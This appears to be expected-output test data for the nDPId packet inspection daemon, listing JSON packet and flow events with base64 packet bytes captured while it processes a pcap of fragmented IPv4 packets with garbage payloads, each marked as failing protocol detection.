+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3110,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436835,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3110,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3111,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436848,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3111,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3112,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436860,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3112,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3113,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436871,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3113,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3114,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436883,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3114,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3115,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436897,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3115,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3116,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436909,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3116,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3117,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436921,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3117,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3118,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436933,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3118,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3119,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436944,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3119,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3120,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436956,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3120,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3121,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436968,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3121,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3122,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436980,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3122,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3123,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436994,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3123,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3124,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":437008,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3124,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3125,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":437019,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3125,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3126,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":437031,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3126,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3127,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":437044,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3127,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3128,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":437055,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3128,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3129,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":437067,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3129,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00369{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3130,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":437080,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":42,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAkdGRDIqJkRG"} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3130,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":8} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3131,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1534244027737,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":18248,"dst_port":19019,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00424{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3131,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737251,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAkdISksmXiUkIyNFVFIlWV76VAAA"} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3132,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737294,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3132,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3133,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737303,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3133,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3134,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737312,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3134,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3135,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737320,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3135,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3136,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737327,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3136,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3137,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737335,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3137,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3138,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737345,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3138,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3139,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737357,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3139,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3140,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737391,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3140,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3141,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737400,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3141,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3142,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737407,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3142,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3143,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737415,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3143,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3144,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737423,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3144,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3145,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737430,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3145,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3146,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737438,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3146,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3147,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737446,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3147,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3148,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737459,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3148,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3149,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737471,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3149,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3150,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737483,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3150,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3151,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737495,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3151,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 